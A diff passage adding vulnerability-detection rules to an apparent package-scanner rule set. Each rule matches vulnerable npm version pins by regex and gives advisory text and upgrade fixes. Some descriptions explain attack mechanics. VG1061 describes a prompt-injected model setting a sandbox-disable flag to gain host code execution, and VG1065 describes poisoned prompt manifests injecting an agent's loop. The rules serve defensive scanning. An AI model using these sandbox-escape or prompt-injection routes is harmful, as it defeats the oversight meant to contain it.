+        fix: "Upgrade @wdio/browserstack-service to 9.23.3+ as soon as a patched release ships (track GHSA-5c46-x3qw-q7j7). Until then, disable testOrchestrationOptions.runSmartSelection, never run the service against a PR-fork checkout without first validating the branch name against ^[A-Za-z0-9._/-]+$, and isolate fork-PR CI jobs from production credentials.",
+        fixCode: '// package.json\n"@wdio/browserstack-service": "^9.23.3"  // or latest\n\n// Interim mitigation — reject suspicious branch names in CI\n- run: |\n    if [[ ! "${GITHUB_HEAD_REF}" =~ ^[A-Za-z0-9._/-]+$ ]]; then\n      echo "Suspicious branch name — aborting"; exit 1\n    fi',
+        compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1061",
+        name: "OpenClaude Sandbox Bypass via Model-Controlled dangerouslyDisableSandbox (CVE-2026-42074)",
+        severity: "critical",
+        owasp: "A04:2025 Insecure Design",
+        description: "openclaude versions < 0.5.1 expose the `dangerouslyDisableSandbox` parameter as part of the BashTool input schema, meaning the LLM — an untrusted principal per the project's own threat model — can set the flag to `true` inside any `tool_use` response. Combined with the default `allowUnsandboxedCommands: true` setting, a prompt-injected model can escape the sandbox for any arbitrary command and achieve full host-level code execution. The flaw lives inside the agent runtime itself; upgrading the package is the only safe path. Pair with VG1063, which catches the same dangerous flag written explicitly in user code.",
+        pattern: /["']openclaude["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.[0-4]\.\d+|0\.5\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade openclaude to 0.5.1+ (npm install openclaude@latest). The patched release removes `dangerouslyDisableSandbox` from the model-visible tool schema and changes the default of `allowUnsandboxedCommands` to false. Until upgraded, do not run openclaude with any untrusted input source — every tool_use response from the model is an attacker-controlled value.",
+        fixCode: '// package.json\n"openclaude": "^0.5.1"  // or latest',
+        compliance: ["SOC2:CC6.6", "SOC2:CC7.1", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG1062",
+        name: "protobuf.js Multi-CVE Cluster (CVE-2026-44289 / 44290 / 44291 / 44293 / 44295 / 42290)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "protobufjs versions < 7.5.6 and the exact release 8.0.0, plus protobufjs-cli on the same train, are vulnerable to a cluster of six advisories published 2026-05-12: code injection through bytes-field defaults in generated toObject code (CVE-2026-44293), code-generation gadget reachable after prototype pollution (CVE-2026-44291), unsafe option paths causing process-wide DoS (CVE-2026-44290), unbounded recursion DoS (CVE-2026-44289), CLI code injection in pbjs static output from crafted schema names (CVE-2026-44295), and OS command injection in the CLI itself (CVE-2026-42290). The 8.0.0 line additionally has arbitrary code execution (GHSA-xq3m-2v4x-88gg, fixed in 8.0.1). Protobufjs is transitively pulled in by gRPC, Firebase Admin, OpenTelemetry, and many cloud SDKs — most projects ship it without listing it directly.",
+        pattern: /["'](?:protobufjs|protobufjs-cli)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-6]\.\d+\.\d+|7\.[0-4]\.\d+|7\.5\.[0-5]|8\.0\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade protobufjs and protobufjs-cli to 7.5.6+ on the 7.x train, or to 8.0.1+ on the 8.x train. Run `npm ls protobufjs` to find transitive callers (gRPC, firebase-admin, opentelemetry); use an `overrides` block in package.json to force a clean version across the whole tree.",
+        fixCode: '// package.json — direct dep\n"protobufjs": "^7.5.6"  // or "^8.0.1"\n\n// Force upgrade across transitive deps that pin older protobufjs\n"overrides": {\n  "protobufjs": "^7.5.6"\n}',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1064",
+        name: "Strapi Content-Type Builder SQL Injection (CVE-2026-22599)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
+        description: "Strapi ships two parallel content-type builder packages — `@strapi/content-type-builder` on the v5 train (<= 5.33.1) and `@strapi/plugin-content-type-builder` on the v4 train (<= 4.26.0) — both vulnerable to a database-query injection in the schema write path (CVSS 4.0 base 9.3, critical). An authenticated admin with content-type-builder permissions can craft schema input that flows unsanitized into the underlying SQL dialect, yielding full read/write access to the Strapi database including admin user records. The attack requires high privileges (PR:H) but Strapi installs commonly hand out the builder role to non-engineering staff or expose the admin panel publicly, both of which collapse the effective barrier. Self-hosted Strapi instances exposed to the internet are the primary risk surface.",
+        pattern: /["']@strapi\/content-type-builder["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:5\.(?:[0-9]|[12]\d|3[0-2])\.\d+|5\.33\.[01])["']|["']@strapi\/plugin-content-type-builder["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:4\.(?:[0-9]|1\d|2[0-5])\.\d+|4\.26\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade Strapi v5 to 5.33.2+ or Strapi v4 to 4.26.1+. The patched releases sanitize the schema-builder query path. As defense in depth, restrict the content-type-builder role to a small named set of engineering accounts and keep the /admin route off the public internet (IP allowlist, VPN, or upstream auth proxy).",
+        fixCode: '// package.json — v5 line\n"@strapi/content-type-builder": "^5.33.2"  // or latest\n\n// package.json — v4 line\n"@strapi/plugin-content-type-builder": "^4.26.1"',
+        compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.5.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1065",
+        name: "LangSmith SDK Untrusted Prompt Manifest Deserialization (CVE-2026-45134)",
+        severity: "high",
+        owasp: "A08:2025 Software and Data Integrity Failures",
+        description: "LangSmith JavaScript SDK versions < 0.6.0 (npm `langsmith`) deserialize prompt manifests returned by `pullPrompt()` / `pullPromptCommit()` without distinguishing trusted (own-workspace) from untrusted (public hub, owner/name) sources. Public hub manifests can carry serialized LangChain objects and model configuration that influence runtime behavior — system prompts, tool definitions, output parsers — and a malicious publisher can ship a manifest whose deserialization yields prompt injection or arbitrary tool-call payloads inside the consumer's agent loop. CVSS 7.1. The patched SDK warns when crossing the trust boundary and the application must explicitly accept the risk; consumers on older versions silently inherit attacker-controlled behavior the first time they pull a third-party prompt by name.",
+        pattern: /["']langsmith["']\s*:\s*["'](?:\^|~|>=?)?\s*0\.[0-5]\.\d+["']/g,
+        languages: ["json"],
+        fix: "Upgrade `langsmith` to 0.6.0 or later. In code, only call `pullPrompt(\"owner/name\")` against publishers you control or vet; for third-party prompts route through a manual review step. If you also ship LangChain Python in the same project, upgrade `langchain` to >= 0.3.30 and `langchain-classic` to >= 1.0.7 to pick up the same trust-boundary check.",
+        fixCode: '// package.json\n"langsmith": "^0.6.0"  // or latest\n\n// Code — only pull prompts you trust by default\nconst prompt = await client.pullPrompt("my-org/internal-prompt");\n// For public prompts, gate behind an explicit allow-list:\nif (!TRUSTED_PUBLIC_PROMPTS.has(name)) throw new Error("Untrusted prompt source");',
+        compliance: ["SOC2:CC6.6", "SOC2:CC7.1", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG1066",
+        name: "systeminformation Linux Command Injection via NetworkManager Profile (CVE-2026-44724)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "systeminformation versions >= 4.17.0 and <= 5.31.5 contain a Linux command-injection flaw in `networkInterfaces()`: the library reads the active NetworkManager connection profile name from `nmcli device status` output and interpolates it into subsequent shell commands without sanitizing the same metacharacters it already filters from the interface name itself. CVSS 7.8. The vulnerable value is not directly attacker-supplied by API callers; instead, an attacker who can create or rename a NetworkManager connection profile (typically local access on the same host, but in shared cloud images, VDI farms, and unprivileged guest scenarios that bar is often lower than expected) gains code execution in the Node.js process the next time it queries network interface state. Servers that run system-info dashboards, host-metric collectors, or telemetry agents using this library are the primary risk surface.",
+        pattern: /["']systeminformation["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:4\.(?:1[7-9]|[2-9]\d)\.\d+|5\.(?:[0-9]|[12]\d|30)\.\d+|5\.31\.[0-5])["']/g,
+        languages: ["json"],
+        fix: "Upgrade `systeminformation` to 5.31.6 or later (npm install systeminformation@latest). The patched release applies the same metacharacter filter to NetworkManager profile names that the library already enforced for interface names. If you cannot upgrade immediately, avoid calling `networkInterfaces()` on hosts where local users can create NetworkManager profiles, and never pass its output verbatim into downstream shell commands.",
+        fixCode: '// package.json\n"systeminformation": "^5.31.6"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1067",
+        name: "tRPC experimental_nextAppDirCaller Prototype Pollution (CVE-2025-68130 / GHSA-43p4-m455-4f4j)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "@trpc/server versions >= 10.27.0 and < 10.45.3, and versions >= 11.0.0 and < 11.8.0, are vulnerable to prototype pollution in the experimental_nextAppDirCaller helper. The helper merges procedure input with internal state without filtering the `__proto__` or `constructor` keys, so a tRPC procedure that takes a structured input object can be coerced into writing to Object.prototype — affecting every other request handled by the same Node.js process. Reachable in Next.js App Router projects that pair tRPC with the experimental caller; the input typically arrives via HTTP and is shaped by zod/yup/superstruct, none of which strip prototype keys by default.",
+        pattern: /["']@trpc\/server["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:10\.(?:2[7-9]|3\d|4[0-4])\.\d+|10\.45\.[0-2]|11\.[0-7]\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade @trpc/server to 10.45.3+ or 11.8.0+ (npm install @trpc/server@latest). Bring sibling @trpc/* packages (@trpc/client, @trpc/react-query, @trpc/next) to the same minor for compatibility. Until upgraded, validate procedure input against a zod schema that uses .strict() (or equivalent in your validator) so unknown keys including `__proto__` are rejected at the boundary, and freeze Object.prototype at startup as defence-in-depth: `Object.freeze(Object.prototype)`.",
+        fixCode: '// package.json\n"@trpc/server": "^11.8.0"  // or "^10.45.3" for v10\n\n// Defence-in-depth — strict schema + frozen prototype\nimport { z } from "zod";\nconst input = z.object({ id: z.string() }).strict();  // rejects __proto__\nObject.freeze(Object.prototype);  // run once at bootstrap',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1069",
+        name: "node-ipc Malicious Versions — Embedded Sabotage Payload (CVE-2022-23812 / peacenotwar)",
+        severity: "critical",
+        owasp: "A08:2025 Software & Data Integrity Failures",
+        description: "node-ipc versions 9.2.2 (hidden functionality, GHSA-8gr3-2gjw-jj7g), 10.1.1–10.1.3 (embedded malicious code overwriting files on hosts geo-located to RU/BY, CVE-2022-23812, GHSA-97m3-w2cp-4xx6), and the entire 11.x line (peacenotwar dependency that writes propaganda files to the user's Desktop, GHSA-3mpp-xfvh-qh37) ship attacker-authored protestware as the maintainer's intentional payload. The package is still pulled in transitively today by older Salesforce CLI builds and a handful of legacy tooling. Any install that resolves to one of these versions is treated as a confirmed compromise — rotate any secrets reachable from the install host and re-image build agents.",
+        pattern: /["']node-ipc["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:9\.2\.2|10\.1\.[1-3]|11\.\d+\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Pin node-ipc to 12.0.0+ via `overrides` / `resolutions` / `pnpm.overrides` to break transitive resolution onto the compromised 9.2.2 / 10.1.1–10.1.3 / 11.x band. Audit the install host: rotate any developer / CI secrets the install machine could read, re-image build agents, and check `~/Desktop/WITH-LOVE-FROM-AMERICA.txt` and similar paths for the protestware drop. If the dependency is no longer needed, remove it entirely.",
+        fixCode: '// package.json\n"overrides": { "node-ipc": "^12.0.0" }\n\n// pnpm-only\n// "pnpm": { "overrides": { "node-ipc": "^12.0.0" } }\n\n// yarn classic / berry\n// "resolutions": { "node-ipc": "^12.0.0" }',
+        compliance: ["SOC2:CC7.1", "SOC2:CC8.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1076",
+        name: "Vitest UI Server Arbitrary File Read/Execute (CVE-2026-47429 / GHSA-5xrq-8626-4rwp)",
+        severity: "critical",
+        owasp: "A01:2025 Broken Access Control",
+        description: "vitest before 4.1.0 ships a UI/API server that, when listening, lets an attacker on the same network (or via a browser request when the dev server is exposed) read and execute arbitrary files on the developer or CI host. Vitest is a near-ubiquitous test runner, so a vulnerable pin in devDependencies exposes any machine that runs `vitest --ui` or leaves the API server bound during CI.",
+        pattern: /["']vitest["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-3]\.\d+\.\d+|4\.0\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade vitest to 4.1.0+: npm install -D vitest@latest. Never expose the Vitest UI/API server beyond localhost, and bind it to 127.0.0.1 in CI rather than 0.0.0.0.",
+        fixCode: '// package.json\n"vitest": "^4.1.0"  // or latest\n\n// vitest.config — keep the API/UI local-only\nexport default { test: { api: { host: "127.0.0.1" } } };',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1077",
+        name: "Vitest Browser Mode Inline-Script XSS via otelCarrier (CVE-2026-47428 / GHSA-2h32-95rg-cppp)",
+        severity: "critical",
+        owasp: "A02:2025 Injection",
+        description: "@vitest/browser 4.0.17 through 4.1.5 (and the 5.0.0-beta.0 -> 5.0.0-beta.2 line) serves the `otelCarrier` query parameter back as an unsanitized inline script in browser mode. An attacker who can influence the URL of the running browser-mode session achieves cross-site scripting / arbitrary script execution in the test browser context, which on CI can pivot to the runner.",
+        pattern: /["']@vitest\/browser["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:4\.0\.(?:1[7-9]|[2-9]\d)|4\.1\.[0-5]|5\.0\.0-beta\.[0-2])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @vitest/browser to 4.1.6+ (stable) or 5.0.0-beta.3+ (beta): npm install -D @vitest/browser@latest. Keep browser-mode sessions on localhost only.",
+        fixCode: '// package.json\n"@vitest/browser": "^4.1.6"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.7"],
+    },
+    {
+        id: "VG1078",
+        name: "LiquidJS Remote Code Execution (CVE-2026-45618 / GHSA-gf2q-c269-pqgc)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
+        description: "liquidjs before 10.26.0 is vulnerable to remote code execution when rendering templates whose content or context an attacker can influence. Apps that let users supply Liquid templates or template fragments (CMS themes, email builders, low-code field templating) can be driven to execute arbitrary code on the server.",
+        pattern: /["']liquidjs["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-9]\.\d+\.\d+|10\.(?:[01]?\d|2[0-5])\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade liquidjs to 10.26.0+: npm install liquidjs@latest. Never render user-supplied Liquid templates without sandboxing; treat template source as untrusted input.",
+        fixCode: '// package.json\n"liquidjs": "^10.26.0"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1079",
+        name: "TinyMCE XSS Cluster — media/object & content injection (CVE-2026-47759/47760/47761/47762)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "TinyMCE before 5.11.1, 6.0.0 -> 7.9.2, and 8.0.0 -> 8.5.0 carries a cluster of stored/DOM XSS vulnerabilities (GHSA-vg35-5wq7-3x7w, GHSA-v98h-vmpc-fpqv, GHSA-q742-qvgc-gc2f, GHSA-mh5m-5hw4-5c69) including media-plugin `data-mce-object` injection. Any app embedding the TinyMCE editor and rendering its output can be driven to execute attacker-supplied script in another user's browser.",
+        pattern: /["']tinymce["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[1-4]\.\d+\.\d+|5\.(?:[0-9]|10)\.\d+|5\.11\.0|6\.\d+\.\d+|7\.[0-8]\.\d+|7\.9\.[0-2]|8\.[0-4]\.\d+|8\.5\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade tinymce to 7.9.3+ (v7) or 8.5.1+ (v8): npm install tinymce@latest. The 5.x line has no fix — migrate off it. Always sanitize TinyMCE output server-side before rendering it to other users.",
+        fixCode: '// package.json\n"tinymce": "^8.5.1"  // or "^7.9.3" for v7\n\n// Sanitize editor output before persisting/rendering\nimport DOMPurify from "isomorphic-dompurify";\n' + 'const clean = DOMPurify.sanitize(editorHtml);',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.7"],
+    },
+    {
+        id: "VG1085",
+        name: "DOMPurify XSS via selectedcontent re-clone (CVE-2026-47423 / GHSA-87xg-pxx2-7hvx)",
+        severity: "high",
+        owasp: "A02:2025 Injection",
+        description: "dompurify 3.4.4 can be bypassed via a `<selectedcontent>` re-clone, allowing crafted markup to survive sanitization and execute as XSS. DOMPurify is the go-to HTML sanitizer for user-generated content, so a vulnerable pin silently reopens the exact XSS hole it was added to close. Only 3.4.4 is affected; 3.4.5 fixes it (a caret/tilde range resolves to the fixed patch and is not flagged).",
+        pattern: /["']dompurify["']\s*:\s*["']=?3\.4\.4["']/g,
+        languages: ["json"],
+        fix: "Upgrade dompurify to 3.4.5+: npm install dompurify@latest. Keep sanitizing on the server side too — never trust client-only sanitization for stored content.",
+        fixCode: '// package.json\n"dompurify": "^3.4.5"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.7"],
+    },
+    {
+        id: "VG1086",
+        name: "React Router 7 multi-CVE cluster — XSS / deserialization RCE / DoS (CVE-2026-33245 / 42211 / 42342 / 34077)",
+        severity: "high",
+        owasp: "A08:2025 Software and Data Integrity Failures",
+        description: "react-router 7.0.0–7.14.x (and @remix-run/server-runtime 2.10.0–2.17.4) ship a cluster of server-side vulnerabilities: XSS via `javascript:` targets in RSC redirect handling, unauthenticated RCE via the vendored turbo-stream v2 TYPE_ERROR deserialization (arbitrary constructor invocation), and two denial-of-service vectors (unbounded path expansion in the `__manifest` endpoint and reflected input in single-fetch). React Router 7 powers a large share of modern React/Remix apps. Fixed across the 7.13.2–7.15.0 line (use 7.15.0+) and @remix-run/server-runtime 2.17.5+. Exact and tilde pins in the affected range are flagged; a caret range resolves to a fixed release.",
+        pattern: /(?:["']react-router["']\s*:\s*["'](?:=|~)?7\.(?:[0-9]|1[0-4])\.\d+["']|["']@remix-run\/server-runtime["']\s*:\s*["'](?:=|~)?2\.(?:1[0-6]\.\d+|17\.[0-4])["'])/g,
+        languages: ["json"],
+        fix: "Upgrade react-router to 7.15.0+ (npm install react-router@latest) and @remix-run/server-runtime to 2.17.5+. After upgrading, reject non-http(s) redirect targets and keep request size/path limits in front of the app.",
+        fixCode: '// package.json\n"react-router": "^7.15.0"\n// or, for Remix:\n"@remix-run/server-runtime": "^2.17.5"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1087",
+        name: "Better Auth device-authorization approval bypass (CVE-2026-45337 / GHSA-cq3f-vc6p-68fh)",
+        severity: "high",
+        owasp: "A07:2025 Identification and Authentication Failures",
+        description: "better-auth 1.6.0–1.6.10 lets the device-authorization approve/deny endpoints accept ANY authenticated session while a user code is pending, so an attacker who gets a victim signed in can have their own device-login flow approved against the victim's account. Better Auth is increasingly common in Next.js / AI-app stacks. Fixed in 1.6.11 (a caret/tilde range resolves to the fixed patch and is not flagged).",
+        pattern: /["']better-auth["']\s*:\s*["']=?1\.6\.(?:[0-9]|10)["']/g,
+        languages: ["json"],
+        fix: "Upgrade better-auth to 1.6.11+: npm install better-auth@latest. Verify device-authorization approval is bound to the session that initiated the user code.",
+        fixCode: '// package.json\n"better-auth": "^1.6.11"  // or latest',
+        compliance: ["SOC2:CC6.6", "PCI-DSS:Req6.5.10"],
+    },
+    {
+        id: "VG1088",
+        name: "Vite / launch-editor dev-server command injection on Windows (CVE-2024-52011 / GHSA-c27g-q93r-2cwf)",
+        severity: "high",
+        owasp: "A06:2025 Vulnerable and Outdated Components",
+        description: "vite < 5.4.9 (and the launch-editor < 2.9.0 it bundles) lets a crafted request to the running dev server inject a shell command on Windows. The dev server is commonly exposed on shared networks, so a vulnerable pin is a real RCE vector for developers/CI on Windows. Fixed in vite 5.4.9 / launch-editor 2.9.0. Only exact (or `=`) pins are flagged — a caret/tilde range resolves to a fixed release.",
+        pattern: /(?:["']vite["']\s*:\s*["']=?(?:[0-4]\.\d+\.\d+|5\.[0-3]\.\d+|5\.4\.[0-8])["']|["']launch-editor["']\s*:\s*["']=?(?:[01]\.\d+\.\d+|2\.[0-8]\.\d+)["'])/g,
+        languages: ["json"],
+        fix: "Upgrade vite to 5.4.9+ (or v6+): npm install -D vite@latest. If you depend on launch-editor directly, upgrade it to 2.9.0+. Never expose the dev server beyond localhost.",
+        fixCode: '// package.json\n"vite": "^5.4.9"  // or ^6',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1089",
+        name: "js-cookie assign() Prototype Hijack — Cookie Attribute Injection (CVE-2026-46625 / GHSA-qjx8-664m-686j)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "js-cookie versions before 3.0.7 are vulnerable to a per-instance prototype hijack in the internal assign() helper. assign() copies properties with a for…in loop plus plain assignment, so any key planted on Object.prototype is enumerated and copied into the merged attributes object. When set() later serialises that object, attacker-polluted keys land in the Set-Cookie string as attribute pairs — letting an attacker force domain=, path=, secure=, samesite=, or expires= on cookies the application writes (cookie scoping abuse / fixation). Fixed in 3.0.7. Only exact (or =) pins in the 3.0.x line are flagged — a caret/tilde range there resolves to the fixed 3.0.7; older 0.x–2.x majors are flagged with any range since they never reach the fix.",
+        pattern: /["']js-cookie["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*[0-2]\.\d+\.\d+|=?\s*3\.0\.[0-6])["']/g,
+        languages: ["json"],
+        fix: "Upgrade js-cookie to 3.0.7 or later: npm install js-cookie@latest. As defence-in-depth, freeze Object.prototype at bootstrap (Object.freeze(Object.prototype)) and never spread untrusted objects into cookie-attribute options.",
+        fixCode: '// package.json\n"js-cookie": "^3.0.7"  // or latest\n\n// Defence-in-depth — block prototype writes at startup\nObject.freeze(Object.prototype);',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1090",
+        name: "PostCSS XSS via Unescaped </style> in Stringify Output (CVE-2026-41305 / GHSA-qx2v-qp2m-jg93)",
+        severity: "medium",
+        owasp: "A03:2025 Injection",
+        description: "postcss versions before 8.5.10 do not escape a </style> sequence when stringifying a CSS AST back to text. An app that parses user-submitted CSS and re-emits it into an inline <style> block lets an attacker close the style element early with </style> and inject arbitrary markup/script — a stored or reflected XSS. Fixed in 8.5.10. Caret ranges on the 8.x line resolve to the fixed 8.5.10, so only exact/= pins (and tilde within 8.0–8.4) on the 8.x line are flagged; 1.x–7.x majors are flagged with any range since they never reach the fix.",
+        pattern: /["']postcss["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*[1-7]\.\d+\.\d+|~?\s*8\.[0-4]\.\d+|=?\s*8\.5\.[0-9](?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade postcss to 8.5.10 or later: npm install postcss@latest. If you embed processed CSS in an inline <style> tag, also HTML-escape </style> (or serve the CSS from an external stylesheet) as defence-in-depth.",
+        fixCode: '// package.json\n"postcss": "^8.5.10"  // or latest',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.7"],
+    },
+    {
+        id: "VG1091",
+        name: "Axios HTTP-Adapter Proxy Prototype-Pollution Gadget (CVE-2026-44494 / GHSA-35jp-ww65-95wh)",
+        severity: "high",
+        owasp: "A10:2025 SSRF",
+        description: "axios versions before 1.16.0 read config.proxy in the Node HTTP adapter without an own-property check. Because `proxy` is not set in axios defaults, a prototype-pollution gadget elsewhere in the process (Object.prototype.proxy = {...}) is picked up on every request, routing traffic through an attacker-controlled proxy — full MITM, credential theft, and response tampering. Fixed in 1.16.0 (own-property checks for proxy/socketPath/transport). Distinct from VG1042 (the pre-1.15.2 cluster): a project that took VG1042's advice and pinned 1.15.2–1.15.x is STILL exposed to this gadget, so this rule flags exactly that residual window (1.15.2 through 1.15.x). Caret ranges resolve to the fixed 1.16.0 and are not flagged.",
+        pattern: /["']axios["']\s*:\s*["'](?:~|=)?\s*1\.15\.(?:[2-9]|[1-9]\d)["']/g,
+        languages: ["json"],
+        fix: "Upgrade axios to 1.16.0 or later: npm install axios@latest. As defence-in-depth, freeze Object.prototype at startup so a pollution gadget cannot inject a proxy: Object.freeze(Object.prototype).",
+        fixCode: '// package.json\n"axios": "^1.16.0"  // or latest\n\n// Defence-in-depth — block prototype writes at bootstrap\nObject.freeze(Object.prototype);',
+        compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1092",
+        name: "Hono CORS Origin Reflection With Credentials + June 2026 Cluster (CVE-2026-54290 / GHSA-88fw-hqm2-52qc)",
+        severity: "high",
+        owasp: "A05:2025 Security Misconfiguration",
+        description: "Hono versions before 4.12.25 ship a CORS middleware that, when credentials:true is set without an explicit origin allowlist, reflects ANY request Origin header back with Access-Control-Allow-Credentials:true — letting any site issue credentialed cross-origin requests (account-takeover-grade CSRF/CORS, CVE-2026-54290). The same release also re-fixes the cache cross-user leak (CVE-2026-44457), JWT NumericDate validation (CVE-2026-44459), and bodyLimit bypass (CVE-2026-44456). Distinct from VG1043 (the pre-4.12.18 cluster): a project that took VG1043's advice and pinned 4.12.18 is STILL exposed to the CORS reflection, so this rule flags exactly that residual window (4.12.18 through 4.12.24). Caret and tilde ranges within 4.12 resolve to the fixed 4.12.25 and are not flagged — only exact/= pins are.",
+        pattern: /["']hono["']\s*:\s*["']=?\s*4\.12\.(?:1[89]|2[0-4])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Hono to 4.12.25 or later: npm install hono@latest. Until upgraded, never combine cors({ credentials: true }) with a wildcard or reflected origin — pass an explicit origin allowlist.",
+        fixCode: '// package.json\n"hono": "^4.12.25"  // or latest\n\n// Safe CORS — explicit allowlist, never reflect arbitrary origins with credentials\nimport { cors } from "hono/cors";\napp.use("/api/*", cors({\n  origin: ["https://myapp.com"],\n  credentials: true,\n}));',
+        compliance: ["SOC2:CC6.1", "SOC2:CC6.6", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1093",
+        name: "@hono/node-server serveStatic Middleware Bypass via Repeated Slashes (GHSA-92pp-h63x-v22m)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "@hono/node-server versions before 1.19.13 mishandle paths containing repeated slashes, so a request like //admin/secret.txt bypasses route-based middleware (auth/authorization guards) and serves protected static files directly through serveStatic. Any app that gates a static directory with middleware is exposed. Fixed in 1.19.13. Caret ranges on the 1.x line and tilde ranges within 1.19 resolve to the fixed 1.19.13, so only exact/= pins (and tilde within 1.0–1.18, plus any range on 0.x) are flagged.",
+        pattern: /["']@hono\/node-server["']\s*:\s*["'](?:(?:\^|~|>=?)?\s*0\.\d+\.\d+|(?:~|=)?\s*1\.(?:[0-9]|1[0-8])\.\d+|=?\s*1\.19\.(?:[0-9]|1[0-2])(?![0-9]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @hono/node-server to 1.19.13 or later: npm install @hono/node-server@latest. As defence-in-depth, normalize incoming paths (collapse repeated slashes) before middleware authorization checks.",
+        fixCode: '// package.json\n"@hono/node-server": "^1.19.13"  // or latest',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1096",
+        name: "Clerk Next.js 4.x auth()/getAuth() IDOR (CVE-2024-22206 / GHSA-q6w5-jg5q-47vg)",
+        severity: "critical",
+        owasp: "A01:2025 Broken Access Control",
+        description: "@clerk/nextjs versions 4.7.0 through 4.29.2 contain a logic flaw in auth() (App Router) and getAuth() (Pages Router) that lets a request be attributed to the wrong session — an IDOR / privilege-escalation where an authenticated user can act as, or read data belonging to, another user. Fixed in 4.29.3. This is the legacy 4.x line; the 1.x/2.x middleware-bypass (VG925) and 6.x/7.x has() bypass (VG1045) pins do not cover the 4.x version-space, so this rule fills it. 0-FP semver: a caret range on 4.x resolves to the fixed 4.29.3+, and a tilde within 4.29 resolves to 4.29.3, so only exact/= pins (and tilde within 4.7–4.28) are flagged; 4.0–4.6 are not affected.",
+        pattern: /["']@clerk\/nextjs["']\s*:\s*["'](?:(?:~|=)?\s*4\.(?:[7-9]|1\d|2[0-8])\.\d+|=?\s*4\.29\.[0-2](?!\d))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @clerk/nextjs to 4.29.3 or later (or migrate to the current 6.x/7.x line): npm install @clerk/nextjs@latest. As defence-in-depth, re-verify the resolved userId/orgId inside protected route handlers rather than trusting a single auth() call.",
+        fixCode: '// package.json\n"@clerk/nextjs": "^4.29.3"  // legacy 4.x; prefer migrating to ^6 / ^7\n\n// Defence-in-depth — bind the action to the authed user, never a client-supplied id\nimport { auth } from "@clerk/nextjs/server";\nexport async function GET() {\n  const { userId } = await auth();\n  if (!userId) return new Response("Unauthorized", { status: 401 });\n  const data = await db.record.findFirst({ where: { ownerId: userId } });\n}',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.10", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1097",
+        name: "i18next missing-key Prototype Pollution (CVE-2026-48713 / CVE-2026-48714)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
